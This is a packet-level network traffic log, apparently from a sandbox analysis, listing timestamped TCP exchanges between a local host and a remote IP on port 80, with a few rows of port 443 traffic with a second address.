Oct 29, 2024 17:59:50.329940081 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.330029964 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.330151081 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.330163002 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.436275005 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436295033 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436311960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436327934 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436336040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436372042 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436397076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436443090 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436459064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436475992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436480999 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436492920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436499119 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436511040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436512947 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436527014 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436534882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436552048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436574936 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436585903 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436589003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436619043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436629057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436645031 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436672926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436677933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436696053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436717033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436732054 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436737061 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436758041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436790943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436800957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.436933041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436980009 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.436995983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437032938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437045097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437048912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437064886 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437066078 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437072992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437094927 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437103033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437345982 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437362909 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437378883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437397957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437412977 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437455893 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437503099 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437540054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437556028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437571049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437592030 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437608957 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437616110 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437624931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437642097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437643051 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437658072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437668085 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437674046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.437694073 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.437705994 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.438097954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.438111067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.438127041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.438177109 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.438194036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.438211918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.438261986 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.481592894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481609106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481648922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481647968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.481679916 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.481681108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.481698036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481714964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481734037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.481748104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.481755018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481770039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481785059 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481808901 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481823921 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.481825113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481856108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481864929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.481870890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.481910944 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553232908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553260088 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553276062 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553286076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553311110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553324938 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553324938 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553329945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553347111 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553355932 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553369999 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553415060 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553539038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553585052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553618908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553626060 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553642035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553648949 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553658962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553704023 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553713083 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553740025 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553755999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553755999 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553777933 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553793907 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.553936958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.553994894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554016113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554033995 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554044962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554049969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554074049 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554097891 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554186106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554276943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554291964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554307938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554313898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554325104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554342031 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554348946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554371119 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554373026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554388046 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554389000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554404974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554421902 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554434061 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554436922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554455042 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554475069 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554841042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554887056 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554902077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554929972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554938078 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554953098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554960966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.554969072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554985046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.554990053 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.555010080 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.555035114 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.555066109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555078983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555116892 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.555382967 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555398941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555444002 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.555449963 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555465937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555479050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555501938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555505991 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.555519104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555536032 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555546045 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.555560112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555562019 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555567026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.555568933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555584908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.555589914 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.555619001 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.556112051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.556165934 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.556173086 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.556183100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.556224108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.599488020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.599543095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.599708080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.599723101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.599739075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.599761963 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.599785089 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.670852900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.670867920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.670892000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.670903921 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.670907021 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.670931101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.670931101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.670932055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.670948982 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.670953989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.670965910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.670974016 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.670999050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671005964 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671022892 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671034098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671050072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671066046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671082020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671094894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671112061 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671114922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671125889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671139002 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671166897 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671194077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671247959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671263933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671288013 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671334028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671396971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671411991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671435118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671446085 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671449900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671468973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671474934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671484947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671499968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671505928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671520948 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671525955 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671542883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671549082 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671549082 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671560049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671561003 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671578884 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671578884 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671597004 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671597958 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671613932 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671629906 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.671633959 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671653986 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.671681881 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.672166109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672246933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672261953 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672276974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672300100 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.672327042 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.672689915 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672729015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672744989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672749996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.672780037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.672924042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672945976 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672960997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672982931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.672983885 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673000097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673010111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673017979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673034906 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673048973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673048973 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673058033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673064947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673082113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673089981 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673098087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673114061 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673115015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673130035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673139095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673162937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673183918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673199892 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673214912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673222065 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673238993 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673243999 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673257113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673261881 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673275948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673283100 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673297882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673305035 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673324108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673346996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673722029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673738003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673754930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673769951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673788071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673803091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.673835039 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673847914 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.673871994 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.716631889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.716650963 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.716672897 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.716689110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.716775894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.716775894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.788539886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788572073 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788597107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788611889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788628101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788628101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.788650036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788666964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788671017 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.788682938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788691998 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.788702011 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788711071 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.788717031 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788734913 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788736105 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.788759947 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.788784027 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.788804054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788819075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788836002 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788852930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788856983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.788885117 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788899899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.788954020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788969994 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788988113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.788995028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789010048 CET	49958	80	192.168.2.6	185.215.113.206
